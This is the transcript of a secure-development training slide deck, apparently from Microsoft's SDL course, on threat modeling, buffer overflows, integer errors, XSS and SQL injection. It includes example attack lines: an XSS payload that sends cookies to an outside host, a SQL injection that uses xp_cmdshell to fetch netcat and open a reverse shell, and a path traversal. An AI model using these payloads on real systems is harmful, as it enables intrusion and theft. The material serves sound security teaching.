Basics of Secure Design, Development, and Test

Slides:



Advertisements
Similar presentations
Sachin Rawat Crypsis SDL Threat Modeling.
Advertisements

IEs Protected Mode in Windows Vista TM January 20, 2006 Marc Silbey Program Manager.
Buffer Overflows Nick Feamster CS 6262 Spring 2009 (credit to Vitaly S. from UT for slides)
Formal Specifications on Industrial Strength Code: From Myth to Reality Manuvir Das Principal Researcher Center for Software Excellence Microsoft Corporation.
Michael Howard   Microsoft employee for 17 years  Always in security  Worked on the SDL since inception.
CSE331: Introduction to Networks and Security Lecture 30 Fall 2002.
C Tutorial Ross Shaull cs146a Why C Standard systems language – Historical reasons (OS have historically been written in C, so libraries written.
Defenses. Preventing hijacking attacks 1. Fix bugs: – Audit software Automated tools: Coverity, Prefast/Prefix. – Rewrite software in a type safe languange.
Exploring Security Vulnerabilities by Exploiting Buffer Overflow using the MIPS ISA Andrew T. Phillips Jack S. E. Tan Department of Computer Science University.
Module R2 CS450. Next Week R1 is due next Friday ▫Bring manuals in a binder - make sure to have a cover page with group number, module, and date. You.
CSc 352 Programming Hygiene Saumya Debray Dept. of Computer Science The University of Arizona, Tucson
Principles of Computer Security: CompTIA Security + ® and Beyond, Third Edition © 2012 Principles of Computer Security: CompTIA Security+ ® and Beyond,
USING EMET TO DEFEND AGAINST TARGETED ATTACKS PRESENTED BY ROBERT HENSING – SENIOR CONSULTANT – MICROSOFT CORPORATION MICHAEL MATTES – SENIOR CONSULTANT.
Microsoft Windows XP SP2 Urs P. Küderli Strategic Security Advisor Microsoft Schweiz GmbH.
CMSC 414 Computer and Network Security Lecture 22 Jonathan Katz.
Copyright © Microsoft Corp 2006 Introduction to Threat Modeling Michael Howard, CISSP Senior Security Program Manager Security Engineering and Communication.
Chapter 15 : Attacking Compiled Applications Alexis Kirat - International Student.
Computer Security and Penetration Testing

Software Security Course Course Outline Course Overview Introduction to Software Security Common Attacks and Vulnerabilities Overview of Security.
2851A_C01. Microsoft Windows XP Service Pack 2 Security Technologies Bruce Cowper IT Pro Advisor Microsoft Canada.
D ATABASE S ECURITY Proposed by Abdulrahman Aldekhelallah University of Scranton – CS521 Spring2015.
Java Security. Topics Intro to the Java Sandbox Language Level Security Run Time Security Evolution of Security Sandbox Models The Security Manager.
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
An anti-hacking guide.  Hackers are kindred of expert programmers who believe in freedom and spirit of mutual help. They are not malicious. They may.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
امیرحسین علی اکبریان.  Introduction  Goals of Threat Modeling  The approach Overview.
Copyright © Microsoft Corp 2006 Pragmatic Secure Design: Attack Surface Reduction Shawn Hernan Security Program Manager Security Engineering and Communication.
Chapter 6 Buffer Overflow. Buffer Overflow occurs when the program overwrites data outside the bounds of allocated memory It was one of the first exploited.
Computer Security and Penetration Testing
BLENDED ATTACKS EXPLOITS, VULNERABILITIES AND BUFFER-OVERFLOW TECHNIQUES IN COMPUTER VIRUSES By: Eric Chien and Peter Szor Presented by: Jesus Morales.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
1 CHAPTER 3 CLASSES OF ATTACK. 2 Denial of Service (DoS) Takes place when availability to resource is intentionally blocked or degraded Takes place when.
Computer Science Detecting Memory Access Errors via Illegal Write Monitoring Ongoing Research by Emre Can Sezer.
Computer Science and Software Engineering University of Wisconsin - Platteville 2. Pointer Yan Shi CS/SE2630 Lecture Notes.
COMPUTER SECURITY MIDTERM REVIEW CS161 University of California BerkeleyApril 4, 2012.
Security - Why Bother? Your projects in this class are not likely to be used for some critical infrastructure or real-world sensitive data. Why should.
SEC835 Runtime integrity and resource control. Application based Denial of Service Application can crash for many reasons and at any time due to programming.
APPLICATION PENETRATION TESTING Author: Herbert H. Thompson Presentation by: Nancy Cohen.
Module 6: Designing Security for Network Hosts
Overflow Examples 01/13/2012. ACKNOWLEDGEMENTS These slides where compiled from the Malware and Software Vulnerabilities class taught by Dr Cliff Zou.
Buffer Overflow Attack Proofing of Code Binary Gopal Gupta, Parag Doshi, R. Reghuramalingam, Doug Harris The University of Texas at Dallas.
What is exactly Exploit writing?  Writing a piece of code which is capable of exploit the vulnerability in the target software.
A Tool for Pro-active Defense Against the Buffer Overrun Attack D. Bruschi, E. Rosti, R. Banfi Presented By: Warshavsky Alex.
CNIT 127: Exploit Development Ch 8: Windows Overflows Part 2.
Sairajiv Burugapalli. This chapter covers three main categories of classic software vulnerability: Buffer overflows Integer vulnerabilities Format string.
Buffer Overflows Taught by Scott Coté.-. _ _.-. / \.-. ((___)).-. / \ /.ooM \ / \.-. [ x x ].-. / \ /.ooM \ -/ \ /-----\-----/---\--\ /--/---\-----/-----\ / \-
Web Security Firewalls, Buffer overflows and proxy servers.
Group 9. Exploiting Software The exploitation of software is one of the main ways that a users computer can be broken into. It involves exploiting the.
Slides by Kent Seamons and Tim van der Horst Last Updated: Nov 11, 2011.
Announcements You will receive your scores back for Assignment 2 this week. You will have an opportunity to correct your code and resubmit it for partial.
Beyond Stack Smashing: Recent Advances In Exploiting Buffer Overruns Jonathan Pincus and Brandon Baker Microsoft Researchers IEEE Security and.
Page 1 Viruses. Page 2 What Is a Virus A virus is basically a computer program that has been written to perform a specific set of tasks. Unfortunately,
By Ramesh Mannava.  Overview  Introduction  10 secure software engineering topics  Agile development with security development activities  Conclusion.
Software Security. Bugs Most software has bugs Some bugs cause security vulnerabilities Incorrect processing of security related data Incorrect processing.
Security Development Lifecycle. Microsoft SDL 概觀 The SDL is composed of proven security practices It works in development organizations regardless of.
@Yuan Xue Worm Attack Yuan Xue Fall 2012.
Lecture 19 Page 1 CS 236 Online 6. Application Software Security Why it’s important: –Security flaws in applications are increasingly the attacker’s entry.
Content Coverity Static Analysis Use cases of Coverity Examples
CMSC 345 Defensive Programming Practices from Software Engineering 6th Edition by Ian Sommerville.
TMG Client Protection 6NPS – Session 7.
A Security Review Process for Existing Software Applications
Security mechanisms and vulnerabilities in .NET
CS 465 Buffer Overflow Slides by Kent Seamons and Tim van der Horst
Software Security Lesson Introduction
CS5123 Software Validation and Quality Assurance
Operating System Concepts
6. Application Software Security
Presentation transcript:

Basics of Secure Design, Development, and Test Secure software made easier <Date> <Presenter>

Motivation In this course, we will: Look at the Microsoft Security Development Lifecycle (SDL) Briefly review some secure design, development, and test concepts Explore the security issues that arise if these design, coding, and test principles are not properly applied This will provide you with information that you can use to make your software more secure

Agenda Microsoft Security Development Lifecycle (SDL) overview Module 1: Secure Design Attack Surface Reduction Threat Modeling Module 2: Secure Development Buffer overflows Integer arithmetic errors Canonicalization issues Managed Code: Cross-site scripting (XSS) Managed Code: SQL injection Cryptography Code Review Module 3: Security Testing Fuzz Testing

Microsoft Security Development Lifecycle (SDL)

Working to protect our users… Education Process Accountability Administer and track security training Guide product teams to meet SDL requirements Establish release criteria and sign-off as part of FSR Incident Response (MSRC) Ongoing Process Improvements

Very Encouraging Results! Total Vulnerabilities Disclosed 12 Months After Release Total Vulnerabilities Disclosed 36 Months After Release Before SDL After SDL 45% reduction in Vulnerabilities Before SDL After SDL 91% reduction in Vulnerabilities Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities

Still Much to Be Done: The Pain of "Blaster" Two lines of C code in RPCSS while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Led to >1,500,000 infected computers 3,370,000 Product Support Services (PSS) calls in September 2003 (normal virus volume is 350,000) Plenty of negative commentary " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester

The Horrible Truth No matter how much effort we expend, we will never get code 100 percent correct This is an asymmetric problem We must be 100 percent correct, 100 percent of the time, on a schedule, with limited resources, only knowing what we know today Oh, and the product has to be reliable, supportable, compatible, manageable, affordable, accessible, usable, global, doable, deployable… They can spend as long as they like to find one bug, with the benefit of future research We’re human and our tools are far from perfect There’s still a business case for improving security now

The Horrible Truth (continued) Tools make it easy to build exploit code Reverse engineering tools Structural Comparison of Executable Objects, Halvar Flake http://www.zynamics.com/downloads/dimva_paper2.pdf PCT Bug: "Detecting and understanding the vulnerability took less than 30 minutes" H.323 ASN.1 Bug: "The total analysis took less than three hours time" Exploit payloads www.metasploit.com

Enter some details… Here’s the ‘sploit code! Choose your ‘sploit

The Horrible Truth (concluded) Don't be a statistic: A worm or serious vulnerability in any major product can have devastating impact to you and your users In general: Cost for attacker to build attack is very low Cost to your users is very high Cost of reacting is higher than cost of defending

Module 1: Secure Design

Attack Surface Reduction (ASR) Module 1: Secure Design Attack Surface Reduction (ASR)

The Attack Surface Reduction Process Look at all of your entry points Network I/O File I/O Rank them Authenticated versus anonymous Administrator only versus user Network versus local UDP versus TCP

Watch Out for Fanout! File formats Verbs Subprotocols For example, JPG, MSH, or GIF HTTP Classic GET, POST, HEAD, DELETE WebDAV PROPPATCH, PROPFIND, MOVE, LOCK SMTP HELO, EHLO, MAIL, RCPT Queries Extended sprocs and sprocs SSL2, SSL3, TLS, PCT Subprotocols

It’s Not Just About Turning Stuff Off! Higher Attack Surface Lower Attack Surface Executing by default Off by default Open socket Closed socket UDP TCP Anonymous access Authenticated access Constantly on Intermittently on Admin access User access Internet access Local subnet access SYSTEM Not SYSTEM! Uniform defaults User-chosen settings Large code Small code Weak ACLs Strong ACLs

ASR Examples Windows SQL Server 2005 Authenticated RPC Firewall on by default xp_cmdshell off by default CLR and COM off by default Network service Internet Information Services version 6 (IIS6) Visual Studio® 2005 Web server localhost only SQL Server Express localhost only Off by default Network service by default Static files by default

Attack Surface Reduction is as important as trying to get the code right

Module 1: Secure Design Threat Modeling

Threat Analysis Secure software starts with understanding the threats Threats are not vulnerabilities Threats live forever; they are the attacker's goal Mitigation Attacker Threat Vulnerability

The Process in a Nutshell Vision Model Identify Threats Mitigate Validate

Whiteboard Your Architecture Start with person, processes, data flows, data stores Unique shape per item Data flows should be one way each Label them with data, not read/write Draw attack surfaces/trust boundaries Tell a story to see if your picture is ok Data Flow Function call Network traffic Remote Procedure Call (RPC) People Other systems Microsoft.com External Entity DLLs EXEs COM object Components Services Web Services Assemblies Process Database File Registry Shared Memory Queue / Stack Data Store Process Boundary File system Trust Boundary

Find Threats: Use STRIDE per Element Start with items connected to dangerous data flows (those crossing boundaries) Use the chart to help you think of attacks Keep a running list S T R I D E P External Entity Process Data Store Data Flow

Understanding the STRIDE Threats Property Definition Example Spoofing Authentication Impersonating something or someone else. Pretending to be any of billg, microsoft.com or ntdll.dll Tampering Integrity Modifying data or code Modifying a DLL on disk or DVD, or a packet as it traverses the LAN. Repudiation Non-repudiation Claiming to have not performed an action. “I didn’t send that email,” “I didn’t modify that file,” “I certainly didn’t visit that web site, dear!” Information Disclosure Confidentiality Exposing information to someone not authorized to see it Allowing someone to read the Windows source code; publishing a list of customers to a web site. Denial of Service Availability Deny or degrade service to users Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole. Elevation of Privilege Authorization Gain capabilities without proper authorization Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also EoP.

Mitigation Techniques Threat Mitigation Feature Spoofing Authentication Tampering Integrity Repudiation Nonrepudiation Information Disclosure Confidentiality Denial of Service Availability Elevation of Privilege Authorization

Mitigating Your Threats For each threat, decide how to stop it Redesign and eliminate Use standard threat mitigations Invent new mitigation (not recommended!—seek help) Accept risk in accordance with SDL bug bar File a work item in your bug tracking DB Treat threats as bugs, mitigations as features

Validate Check threat model diagrams Do they match the design docs or code? Check your bug DB work items are all Closed as completed QA’d

Context Diagram Services for Macintosh

Diagrams Should Not Resemble Flow charts Class diagrams Call graphs

Determining Threat Types TID 6.0 SR TID 5.0 STRIDE 7.0 1.0 Each element in the Data Flow Diagram (DFD) is susceptible to one or more threat types 8.0 10.0 2.0. 11.0 9.0 4.0 3.0

DFD Elements Are Threat Targets: A “Work List” Data Flow S T R I D E 1à5 P 5à6 6à7 7à8 Data Store 7 9 11 Interactor 1 2 8 Process 3 4 5 6 10 Each  is a potential threat to the system Each threat is governed by the conditions which make the threat possible

A Special Note About Information Disclosure Threats All information disclosure threats are potential privacy issues Is the data sensitive or PII?

Call to Action Threat model something Go breadth-first Have fun Like your program! If you’re stuck, threat model a different program Go breadth-first Have fun Seek more intensive training "Introduction to Threat Modeling"

Threat Model Checklist No design is complete without a threat model! Follow anonymous data paths Every threat needs a security test plan Check all information disclosure threats – are they privacy issues? threat vuln software

Summary Defined the SDL Described the Attack Surface Reduction process with some examples of its positive impact Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process

Question 1: Which of the following is an example of low attack surface? User-controlled settings Weak ACLs Internet access

Question 2: Information disclosure is caused by a breach of…? Privacy Security Both

Question 3: Which mitigation technique can be used to protect against the STRIDE spoofing threat? Integrity Authentication Availability Authorization

Module 2: Secure Development

Module 2: Secure Development Buffer Overflows

What Are Buffer Overflows (BOs)? External data is larger than the destination Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow Causing the application to change execution flow To the attacker’s code that is included in the data Cause: Trusting input C/C++ code the most common victim Direct access to memory

Stack Buffer Overflows at Work Function return address Exception Handlers Function Pointers Virtual Methods All determine execution flow Buffers Other vars EBP EIP Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } 0wn3d! Bad things happen if *p points to data longer than b

Buffer Overflow Examples SQL Server Instance Resolution (MS02-039) #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG]; ... ssrpMsg = SsrpRecvMsg(rgbRecvBuf); switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]); } SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) { bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr ); return((SSRPMSGTYPE)rgbRecvBuf[0]); BOOL SsrpEnum(LPSTR szInstName, ...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName); Sitting on port 1434—The Internet Read no more than 256 bytes from the network Then copy into a 128-byte buffer

Heap Overflows at Work 0wn3d! Heap Block Heap Block Heap Block Write a DWORD anywhere in memory when block is free()’d 0wn3d! Heap Block Heap Block Heap Block Pointer to next block Pointer to prior block A1 D1 A2 D2 On block free: D1  [A1] D2  [A2]

Zotob (PnP Code) Sitting on port 445— the Internet CONFIGRET ResDesToNtResource( IN PCVOID ResourceData, IN RESOURCEID ResourceType, IN ULONG ResourceLen, IN PCM_PARTIAL_RESOURCE_DESCRIPTOR pResDes, IN ULONG ulTag ) { case ResType_ClassSpecific: { PCS_RESOURCE pCsData = (PCS_RESOURCE)ResourceData; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)pResDes + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, pCsData->CS_Header.CSD_Signature + pCsData->CS_Header.CSD_LegacyDataOffset, pCsData->CS_Header.CSD_LegacyDataSize); Sitting on port 445— the Internet Amount of data to copy is controlled by the attacker

The 'n'-Functions Are Safe? Right?! // Example #1 (code verifies pszSrc is <= 50 chars) #define MAX (50) char *pszDest = malloc(sizeof(pszSrc)); strncpy(pszDest,pszSrc,MAX); sizeof is 4 bytes, not 50 // Example #2 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); String not null-terminated if len(pszSrc) >= MAX // Example #3 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,strlen(pszSrc)); Wrong buffer size!

The 'n'-Functions Are Safe? Right?! // Example #4 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); pszDest[MAX] = '\0'; Wrote NULL to element 51, not 50! // Example #5 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX-1); strncat(szDest,pszSrc,MAX-1); MAX-1 is not the total destination buffer size!

The 'n'-Functions Are Safe? Right?! // Example #6 char szDest[50]; _snprintf(szDest, strlen(szDest), "%s",szSrc); szDest contains junk! strlen(szDest) is random! // Example #7 void func(char *p) { char szDest[MAX]; strncpy(szDest,p,MAX); szDest[MAX-1] = '\0'; } What if p == NULL? You should always use safe variants of the str calls: str*_s

Fixing Buffer Overflows Search for "risky" functions and determine data origin /GS, NX, ASLR and heap checking Better libraries and classes (strsafe,Safe CRT, STL) Fuzz tests Reduce attack surface /analyze and SAL

Memory Defenses Stack BO detection (aka /GS, enabled by default in VC++ 2008) Detects some stack-based overruns Rearranges the stack so buffers are in higher memory (helps protect variables) Moves various arguments to lower memory Exception handler protection (aka /SafeSEH, enabled by default in VC++ 2008 linker) Exception addresses are verified at runtime

Memory Defenses Data Execution Protection (aka NX/XD, enabled by default†) Harder to execute date In Windows Vista, DEP cannot be disabled once turned on process † Most CPUs today support DEP, but make sure it's enabled in the BIOS

Memory Defenses Heap defenses (all enabled by default) Lookasides gone Arrays of free lists gone Early detection of errors due to block header integrity check ENTRY->Flink->Blink == ENTRY->Blink->Flink == ENTRY Use HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0) Integer overflow calling operator::new automatically detected at runtime (by default)

Memory Defenses Image randomization (ASLR) System images are loaded randomly into 1 of 256 'slots' Changes on each boot To be effective ASLR requires DEP Enabled by default Link with /dynamicbase for non-system images Stack is randomized for each new thread (by default) Heap is randomized (by default) Long-lived pointers are encoded and decoded A successful pointer overwrite must survive the decoding process (XOR with a random number) Use Encode[System]Pointer and Decode[System]Pointer

Defenses Summary Mandatory use of compiler security options /GS flag (runtime stack BO detection) /SafeSEH (runtime exception checking) /NXCompat (NX support) /DynamicBase (ASLR support) /robust switch for MIDL compiler

Integer Arithmetic Errors Module 2: Secure Development Integer Arithmetic Errors

Integer Arithmetic Attacks Integer arithmetic is a generic name for a set of common integer arithmetic mistakes Overflow and underflow Signed versus unsigned errors Truncation They can lead to attacker control of program flow

Integer Arithmetic Attacks int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2){ char buf[0xFF]; if((len1 + len2) > 0xFF) return -1; memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2); // do stuff with buf return 0; } len1 len2 0x103 + 0xFFFFFFFC 0xFF Both memcpy functions attempt to copy >255 bytes

Integer Overflow Attacks GDI+ JPG Rendering (MS04-028) BOOL GpJpegDecoder::read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **ppBuffer, OUT UINT16 *pLength ) { VOID *pBuffer; UINT16 length; INPUT_VARS(cinfo); INPUT_2BYTES(cinfo, length, return FALSE); *pLength = length+2; pBuffer = GpMalloc(length+2); ... INT len = length - 2; GpMemcpy(p, cinfo->src->next_input_byte, len); 0xFFFE + 0x02 == 0x00 0xFFFFFFFE - 0x02 == 0xFFFFFFFC

Integer Overflow Attacks Custom Memory Allocations #define _BLOCKSIZE 64 void *_MemAlloc(size_t cb) { // Round to nearest block size size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr); } If cb = 0xffffffff, then cbr == 0

Unmanaged Code Interop Issues public int CopyData(byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer) { if (inputOffset >= inputBuffer.Length) throw new Exception(); if (inputCount > inputBuffer.Length) throw new Exception(); if (inputOffset + inputCount < inputOffset) throw new Exception(); if (inputBuffer.Length < inputOffset + inputCount) throw new Exception(); _UnmanagedCopy(..., inputBuffer, inputOffset, inputCount); -1 All the checks are against signed ints C++ _UnmanagedCopy(..., BYTE *inputBuffer, DWORD inputOffset, DWORD inputCount) { memcpy(pb, inputBuffer + inputOffset, inputCount); ... } 0xFFFFFFFF

Standard Annotation Language (SAL) Defines interface contracts Helps tools find bugs Annotate your headers using SAL Used by latest PREfast References SAL Annotations: C Run-Time Library Reference http://msdn.microsoft.com/en-us/library/ ms235402.aspx A Brief Introduction to the Standard Annotation Language (SAL) http://blogs.msdn.com/michael_howard/archive/ 2006/05/19/602077.aspx

Standard Annotation Language (SAL) DWORD WINAPI BluetoothGetServicePnpInstance( BLUETOOTH_ADDRESS * pDeviceAddress , GUID * ServiceGuid , ULONG InstanceId , _Out_cap_(BufferSize) WCHAR * Buffer , ULONG BufferSize , HKEY * phKey ); Informs compiler that Buffer is BufferSize WCHARs It's an out parameter, so it does not need initializing (else _In_out_) NULL is not valid (else _opt)

Remedy: Integer Arithmetic Any calculation used to determine an array offset or memory allocation is suspect Use unsigned variables for array indexes and buffer sizes Ints are signed in Managed Code Watch out for: C4018 and C4389 compiler warnings (signed and unsigned mismatch) C4244 compiler warnings (conversion from "type1" to "type2"; possible loss of data) #pragma and casts that shut the compiler up!

Remedy: Integer Arithmetic #define MAX_ALLOC (1024*1024*4) if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T)); } size_t cb = num * sizeof(T); if (num == cb/sizeof(T)) { T *p = malloc(cb); } size_t cb = num * sizeof(T); T *p = malloc(cb);  // Howard (C/C++ IntOverflow.h) if (UMul(num,sizeof(T),&cb)) { T *p = malloc(cb); } T *p = new T[num]; // LeBlanc (C++ SafeInt.hpp) SafeInt<size_t>cbFoo(sizeof(T)); SafeInt<size_t>cb = cbFoo * num; T *p = malloc(cb) // Windows C/C++ sdk/inc/intsafe.h // and ddk/inc/ntintsafe.h if (SUCCEEDED(SizeTMult(num,sizeof(T),&cb))) T *p = malloc(cb); }

BO / IA Checklist Just fix 'em! Build defensive code and add defensive layers (like /GS) Use the latest version of VC++ /GS Use safer string libraries Use /analyze and SAL All arithmetic used to calculate memory allocations is probably wrong!

Canonicalization Issues Module 2: Secure Development Canonicalization Issues

Canonicalization Issues Never make a security decision based on the name of something Chances are good that you’ll get it wrong Often, there is more than one way to name something if (String.Compare(username,@"ntdev\mikehow",true)==0 && String.Compare(filename,@"secretfile.txt",true)==0) // go away 

Canonicalization Issues: Example 1 SecretFile.txt SecretFile.txt. Secret~1.txt SecretFile.txt::$DATA

Canonicalization Issues: Example 2 http://contoso.com/foo/home.aspx http://contoso.com/foo/HOME.ASPX http://contoso.com/foo/../foo/home.aspx http://contoso.com/foo/./home.aspx http://207.46.197.32/foo/home.aspx http://3435386042/foo/home.aspx http://contoso.com./foo/home.aspx http://contoso.com/foo/%67ome.aspx http://contoso.com/foo/%c0%ae/home.aspx http://contoso.com/foo/%u0067ome.aspx http://contoso.com/foo/%FF48.aspx http://contoso.com/foo/%2567ome.aspx

Canonicalization Issues: Example 3 http://www.example.com/prn/default.asp http://www.example.com/aux.asp

Managed Code: Cross-Site Scripting (XSS) Module 2: Secure Development Managed Code: Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) Very common vulnerability An issue in a Web server leads to a compromised client (and more) The fault is simply trusting input and then echoing it!

XSS in Action: Cookie Stealing Welcome.asp Hello, <%= request.querystring(′name′)%> <a href=http://www.humongousinsurance.com/welcome.asp?name= <script>document.write (′<img src=″http://gotcha.com/″%2bdocument.cookie%2b>′) </script>here</a>

XSS in Action: "Defacement" /location=<script>document.images[4].src= "http://www.badsite.com/news.jpg"</script>

Crystal Reports Vulnerability MS04-017 public class CrystalImageHandler : WebControl { private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read); // stream file to user File.Delete (filePath); (1) Get filename from querystring (2) Open file (3) Stream file to user (4) Delete file! crystalimagehandler.aspx?dynamicimage=..\..\boot.ini

Remedies: XSS Validate all input Never directly echo Web-based user input At the very least, HTML encode the output ASP.NET 1.1 adds the ValidateRequest option Use AntiXSS Use HttpOnly cookie option Prevents access to client-side script in IE6 SP1 and later (used by Hotmail) Use <frame> security attribute Supports Internet Explorer security zone settings

Managed Code: SQL Injection Module 2: Secure Development Managed Code: SQL Injection

SQL Injection: C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); Hard to guess password! Connecting as sysadmin String concat for dynamic SQL Telling the bad guy too much on failure

Why It's Wrong (1 of 3) Good Guy Not So Good Guy sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Good Guy SELECT HasShipped FROM Shipment WHERE ID='1001' Not So Good Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- '

Why It's Wrong (2 of 3) Really Bad Guy Downright Evil Guy sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Really Bad Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' ; drop table orders -- ' Downright Evil Guy SELECT HasShipped FROM Shipment WHERE ID= '1001’ ; exec xp_cmdshell('...') -- '

Why It's Wrong (3 of 3) Your Worst Nightmare! exec xp_cmdshell 'tftp -i 63.45.11.9 GET nc.exe c:\nc.exe'  0wns 63.45.11.9 nc.exe -l -p 31337   exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe 63.45.11.9 31337'

Remedy: Do Not Trust User Input Validate all input All input is evil until proven otherwise Look for data that matches the expected use, and reject everything else http://www.contoso.com/pwnme.html is a valid URL… …On a non-existant server… …Which you likely don’t want to visit Constrain, reject, and sanitize Type checks (for example, numeric only) Length checks (for example, buffer must be < n bytes) Range checks (for example, A-Z a-z) Format checks (for example, e-mail name) Validator.ValidationExpression = ”^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$";

Remedies: SQL Injection Validate all input Use parameterized queries Consider allowing access to sprocs and not allowing access to underlying tables Use parameterized queries with sprocs SqlDataAdapter cmd = new SqlDataAdapter("exec sp_getshipstatus(@id)", conn); SqlParameter parm = cmd.SelectCommand.Parameters.Add("@id",id);

; deldeleteete from table Do not look only for "bad things"; it assumes you know all the "bad things"  ; deldeleteete from table ; deldeleteete from table

Input Error Checklist All input is evil!!!!! Don't look for "bad" things!

Module 2: Secure Development Cryptography

 Storing Secrets Software cannot defend itself, therefore: Storing secrets securely in software is impossible! Embedded "secrets" don't stay secret for long 

Storing Secrets DPAPI is the required method Crypt[Un]ProtectData Easy access to platform-provided cryptography Crypt[Un]ProtectData Managed wrappers available pre-.NET 2.0 .NET 2.0 adds ProtectedData class Introduced in Windows 2000 Preferable to Local Security Authority (LSA) secrets

Weak Crypto Don’t create your own crypto algorithms Use CryptoAPI, CAPICOM, and System.Security.Cryptography MD4, MD5, RC4, DES, and SHA1 banned for new code AES and SHA256 okay

Module 2: Secure Development Code Review

Managed Code Issues Code Access Security (CAS) != Secure Code! Be wary of granting certain permissions to your code SecurityPermission, UnmanagedCode, SkipVerification, ControlEvidence, and ReflectionPermission Run FxCop or /analyze regularly Read Secure Coding Guidelines on MSDN Managed Code: http://msdn2.microsoft.com/en-us/library/ms998408.aspx Native Code: http://msdn2.microsoft.com/en-us/library/ k3a3hzw7(VS.80).aspx View ".NET Framework Security Best Practices": http://msdn2.microsoft.com/ en-us/ security/aa570406.aspx

Audit Extensively: LinkDemand Unlike a Demand, does not perform a full run-time stack-walk Checks the immediate caller during JIT compile FileIOPermission? FileIOPermission? Your code ReadFile ReadFile Demand LinkDemand

Audit Extensively: Partial Trust AllowPartiallyTrustedCallersAttribute [assembly:AllowPartiallyTrustedCallers] APTCA == "bring it on, hax0rs!" Applies to strong-named assemblies Disables LinkDemand:FullTrust Allows code from the Internet to call your code Is that what you really want? Managed C++ and APTCA don’t mix

Audit Extensively: Asserts Are your protected actions safe? Note: Your code must be granted the permission you are asserting and have permission to assert FileIOPermission? Assert FileIOPermission ReadFile ReadFile

Audit Extensively: Asserts [FileIOPermission(SecurityAction.Assert, All=@"C:\logs\Log.txt")] public void CreateLogFile() { StreamWriter TextStream = new StreamWriter(@"C:\logs\Log.txt"); }  [FileIOPermission(SecurityAction.Assert)] public void CreateLogFile(string log) { StreamWriter TextStream = new StreamWriter(log); } 

Audit Extensively P/Invoke and COM Interop Your gateway to buffer overflows!

Audit Extensively Readonly isn’t read-only! static readonly byte[] keysizes = new byte[] {64,112,128,160,196}; static void Main(string[] args) { keysizes[1] = 8; }

Don’t Forget Managed Code Integer Arithmetic Bugs Int16 i = getFromNetwork(); if (i <= MAX) { i++; Int32 j = 8192 / i; } Int16 req; ... while (true) { getRequest(); req++; arr[req] = DateTime.Now; }

Summary Demonstrated how failing to validate input can cause security issues, such as buffer overflows, XSS, and SQL injection Demonstrated how these issues can be eliminated by creating secure code with examples Explained the importance of code reviews in creating secure code

Question 1: Which security issue is most likely to impact C/C++ code? SQL injection Buffer overflows Cross-site scripting

Question 2: Which bug type is exacerbated by using signed integers? Cross-site scripting Buffer overflows SQL injection Integer arithmetic errors

Question 3: Which of the following results in canonicalization vulnerability? Trusting an input value based on its name Echoing input directly in Web-based output Performing an incorrect integer arithmetic operation on the input

Question 4: Which of the following is not an immediate impact of XSS attacks? Web-site defacement Remote code execution on the server Cookie theft

